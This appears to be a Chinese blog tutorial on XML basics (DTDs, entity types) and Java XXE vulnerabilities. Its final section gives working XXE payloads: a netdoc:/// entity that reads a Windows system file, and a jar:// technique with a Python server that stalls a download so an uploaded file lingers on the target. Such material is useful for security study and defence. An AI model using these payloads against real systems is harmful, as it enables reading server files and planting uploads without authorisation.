Java XXE 漏洞

本文详述了XML的基础知识,包括文档结构、DTD、实体分类等,并深入探讨了Java XML解析及其潜在的安全风险——Java XXE漏洞的利用与防御。通过具体实例,解析了XXE漏洞的常见攻击方式,如文件读取、内网探测及DoS攻击。

摘要生成于 C知道 ,由 DeepSeek-R1 满血版支持, 前往体验 >

1 XML 基础

XML(可扩展标记语言,EXtensible Markup Language ),是一种标记语言,用来传输和存储数据

1.1 XML文档结构

XML文档结构包括XML声明、DTD文档类型定义(可选)、文档元素。

<!--XML申明-->
<?xml version="1.0"?> 

<!--文档类型定义-->
<!DOCTYPE note [  <!--定义此文档是 note 类型的文档-->
<!ELEMENT note (to,from,heading,body)>  <!--定义note元素有四个元素-->
<!ELEMENT to (#PCDATA)>     <!--定义to元素为”#PCDATA”类型-->
<!ELEMENT from (#PCDATA)>   <!--定义from元素为”#PCDATA”类型-->
<!ELEMENT head (#PCDATA)>   <!--定义head元素为”#PCDATA”类型-->
<!ELEMENT body (#PCDATA)>   <!--定义body元素为”#PCDATA”类型-->
]>

<!--文档元素-->
<note>
<to>Dave</to>
<from>Tom</from>
<head>Reminder</head>
<body>You are a good man</body>
</note>

1.2 DTD

DTD(文档类型定义,Document Type Definition )的作用是定义XML文档的合法构建模块。它使用一系列的合法元素来定义文档结构。

DTD引用方式

1)DTD 内部声明

<!DOCTYPE 根元素 [元素声明]>

2)DTD 外部引用

<!DOCTYPE 根元素名称 SYSTEM "外部DTD的URI">

3)引用公共DTD

<!DOCTYPE 根元素名称 PUBLIC "DTD标识名" "公用DTD的URI">

DTD 关键字:

  • DOCTYPE(DTD的声明)
  • ENTITY(实体的声明)
  • SYSTEM、PUBLIC(外部资源申请)
  • ELEMENT(定义元素声明)

PCDATA

PCDATA 的意思是被解析的字符数据(parsed character data)。
可把字符数据想象为 XML 元素的开始标签与结束标签之间的文本。
PCDATA 是会被解析器解析的文本。这些文本将被解析器检查实体以及标记。
文本中的标签会被当作标记来处理,而实体会被展开。
不过,被解析的字符数据不应当包含任何 &、< 或者 > 字符;需要使用 &、< 以及 > 实体来分别替换它们。

CDATA

CDATA 的意思是字符数据(character data)。
CDATA 是不会被解析器解析的文本。在这些文本中的标签不会被当作标记来对待,其中的实体也不会被展开。

1.3 实体分类

实体可以理解为变量,其必须在DTD中定义申明,可以在文档中的其他位置引用该变量的值。
实体按类型主要分为以下四种:

  • 内置实体 (Built-in entities)
  • 字符实体 (Character entities)
  • 通用实体/普通实体 (General entities)
  • 参数实体 (Parameter entities)

完整的实体类别可参考 DTD - Entities

1.3.1 内置实体 (Built-in entities)
  • &符号: &amp;
  • 单引号: &apos;
  • >: &gt;
  • <: &lt;
  • 双引号: &quot;
1.3.2 字符实体 (Character entities)

通常是 html 的实体编码,例如:

<?xml version = "1.0" encoding = "UTF-8" standalone = "yes"?>
<!DOCTYPE author[
   <!ELEMENT author (#PCDATA)>
   <!ENTITY copyright "&#169;">
]>
<author>&writer;&copyright;</author>

&#169©

1.3.3 普通实体 (General entities)

简单理解即引用替换,语法:

<!ENTITY ename "text">

Example:

<?xml version = "1.0"?>

<!DOCTYPE note [
   <!ENTITY source-text "tutorialspoint">
]>

<note>
   &source-text;
</note>
1.3.4 参数实体 (Parameter entities)

参数实体的目的是创建动态替换的文本节

语法:

<!ENTITY % ename "entity_value">
  • entity_value 可以是除 &, %" 外所有字符

test323.xml

<?xml version="1.0" encoding="UTF-8"?>  
<!DOCTYPE person SYSTEM "test323.dtd">  
<person>  
	<name>Jason</name>  
	<addr>Shanghai</addr>  
	<tel>18701772821</tel>  
	<br/>  
	<email>18701772821@163.com</email>  
</person>  

test323.dtd

<?xml version="1.0" encoding="UTF-8"?>  
<!ELEMENT person (name,addr,tel,br,email)>  
<!ENTITY % name "(#PCDATA)">  
<!ELEMENT addr %name;>  
<!ELEMENT tel %name;>  
<!ELEMENT br EMPTY>  
<!ELEMENT email %name;>  

参数实体必须先定义再使用,而不能像一般实体那样随意放置。

1.4 内部实体和外部实体

实体根据引用方式,还可分为内部实体与外部实体,看看这些实体的声明方式。

内部实体:

<!ENTITY entity_name "entity_value">

外部实体:

<!ENTITY name SYSTEM "URI/URL">

1.5 通用实体和参数实体

其实按照使用来分类,又可以将实体分为通用实体和参数实体。

通用实体

用 &实体名; 引用的实体,他在DTD 中定义,在 XML 文档中引用

参数实体

  1. 使用 % 实体名 (这里面空格不能少) 在 DTD 中定义,并且只能在 DTD 中使用 %实体名; 引用
  2. 只有在 DTD 文件中,参数实体的声明才能引用其他实体
  3. 和通用实体一样,参数实体也可以外部引用
1.5.1 内部通用实体

语法:

<!ENTITY entity-name "entity-value"> 

Example:

<?xml version="1.0" encoding="ISO-8859-1"?>
<!DOCTYPE author[
    <!ENTITY writer "Donald Duck.">
    <!ENTITY copyright "Copyright runoob.com">
]>
<author>&writer;&copyright;</author> 
1.5.2 外部通用实体

语法:

<!ENTITY entity-name SYSTEM "URI/URL"> 

Example:

<?xml version="1.0" encoding="ISO-8859-1"?>
<!DOCTYPE author[
    <!ENTITY writer SYSTEM "http://www.runoob.com/entities.dtd">
    <!ENTITY copyright SYSTEM "http://www.runoob.com/entities.dtd">
]>
<author>&writer;&copyright;</author> 
1.5.3 内部参数实体
<?xml version="1.0" encoding="UTF-8"?>  
<!DOCTYPE person [ 
    <!ENTITY % name "(#PCDATA)">  
    <!ELEMENT addr %name;>  
    <!ELEMENT tel %name;>  
    <!ELEMENT br EMPTY>  
    <!ELEMENT email %name;> 
]>  
<person>  
	<name>Jason</name>  
	<addr>Shanghai</addr>  
	<tel>18701772821</tel>  
	<br/>  
	<email>18701772821@163.com</email>  
</person>  
1.5.4 外部参数实体

test323.xml

<?xml version="1.0" encoding="UTF-8"?>  
<!DOCTYPE person [  
    <!ELEMENT person (name,addr,tel,br,email)>  
    <!ENTITY % (注意这里有个空格)content SYSTEM "test323.dtd">  
    %content;  
]>  
<person>  
    <name>Jason</name>  
    <addr>Shanghai</addr>  
    <tel>18701772821</tel>  
    <br/>  
    <email>18701772821@163.com</email>  
</person> 

test323.dtd

<?xml version="1.0" encoding="UTF-8"?>  
<!ELEMENT name (#PCDATA)>  
<!ELEMENT addr (#PCDATA)>  
<!ELEMENT tel (#PCDATA)>  
<!ELEMENT br EMPTY>  
<!ELEMENT email (#PCDATA)>  

2 Java XML 解析

Java XML 解析 主要相关的函数

javax.xml.parsers.DocumentBuilderFactory;
javax.xml.parsers.SAXParser
javax.xml.transform.TransformerFactory
javax.xml.validation.Validator
javax.xml.validation.SchemaFactory
javax.xml.transform.sax.SAXTransformerFactory
javax.xml.transform.sax.SAXSource
org.xml.sax.XMLReader
DocumentHelper.parseText
DocumentBuilder
org.xml.sax.helpers.XMLReaderFactory
org.dom4j.io.SAXReader
org.jdom.input.SAXBuilder
org.jdom2.input.SAXBuilder
javax.xml.bind.Unmarshaller
javax.xml.xpath.XpathExpression
javax.xml.stream.XMLStreamReader
org.apache.commons.digester3.Digester
rg.xml.sax.SAXParseExceptionpublicId

解析实例和防御方法可以查看:

http://www.lmxspace.com/2019/10/31/Java-XXE-总结/

https://cheatsheetseries.owasp.org/cheatsheets/XML_External_Entity_Prevention_Cheat_Sheet.html#java

3 Java XXE 利用

各平台支持的协议如下

image-20200824193246228

  1. 其中从2012年9月开始,Oracle JDK版本中删除了对gopher方案的支持,后来又支持的版本是 Oracle JDK 1.7 update 7 和 Oracle JDK 1.6 update 35
  2. libxml 是 PHP 的 xml 支持

Java中的XXE支持sun.net.www.protocol里面的所有协议:http,https,file,ftp,mailto,jar,netdoc 。一般利用file协议读取文件、利用http协议探测内网,没有回显时可利用file协议结合http协议或ftp协议来读取文件。

Java XXE 的利用和 php 的查不多,总结一般的利用方式如下:

  • file 协议读文件
  • 内网主机探测
  • 内网端口探测
  • DoS拒绝服务攻击

详细可以查看:https://www.k0rz3n.com/2018/11/19/一篇文章带你深入理解 XXE 漏洞/

区别于 PHP 的利用方式如下

3.1 jar:// 文件上传

jar 协议语法,jar:{url}!/{entry},url是文件的路径,entry是想要解压出来的文件

jar 协议处理文件的过程:

  1. 下载 jar/zip 文件到临时文件中
  2. 提取出我们指定的文件
  3. 删除临时文件

那么延长服务器传递文件的时间,就可以延长临时文件存在的时间

server.py,这里在传输最后一个字符的时候会 sleep 30s

import sys 
import time 
import threading 
import socketserver 
from urllib.parse import quote 
import http.client as httpc 

listen_host = 'localhost' 
listen_port = 9999 
jar_file = sys.argv[1]

class JarRequestHandler(socketserver.BaseRequestHandler):  
    def handle(self):
        http_req = b''
        print('New connection:',self.client_address)
        while b'\r\n\r\n' not in http_req:
            try:
                http_req += self.request.recv(4096)
                print('Client req:\r\n',http_req.decode())
                jf = open(jar_file, 'rb')
                contents = jf.read()
                headers = ('''HTTP/1.0 200 OK\r\n'''
                '''Content-Type: application/java-archive\r\n\r\n''')
                self.request.sendall(headers.encode('ascii'))

                self.request.sendall(contents[:-1])
                time.sleep(30)
                print(30)
                self.request.sendall(contents[-1:])

            except Exception as e:
                print ("get error at:"+str(e))


if __name__ == '__main__':

    jarserver = socketserver.TCPServer((listen_host,listen_port), JarRequestHandler) 
    print ('waiting for connection...') 
    server_thread = threading.Thread(target=jarserver.serve_forever) 
    server_thread.daemon = True 
    server_thread.start() 
    server_thread.join()

运行服务器,让其监听

image-20200824182026676

然后 xxe 结合 jar 协议

<!DOCTYPE convert [ 
<!ENTITY  remote SYSTEM "jar:http://localhost:9999/1.zip!/wm.php">
]>
<convert>&remote;</convert>

因为 1.zip 中并不存在 wm.php 这个文件,所以可以在报错中看到临时文件的位置

image-20200824182309774

这里实际测试并不一定只能上传 zip 格式的文件,但因为 jar 协议会对文件进行解包操作,如果不上传 zip 格式文件在报错里是看不到临时文件路径的,所以需要先正常上传一次 zip 格式文件获取路径然后再上传其他文件。

image-20200824182434415

3.2 netdoc 协议

Java 中 netdoc 协议可以替代 file 协议功能,读文件:

<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE creds [
        <!ELEMENT creds ANY>
        <!ENTITY xxe SYSTEM "netdoc:///c:/windows/system.ini">
        ]>
<creds>&xxe;</creds>

同时也可以列目录:

image-20200824191608338

参考链接

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值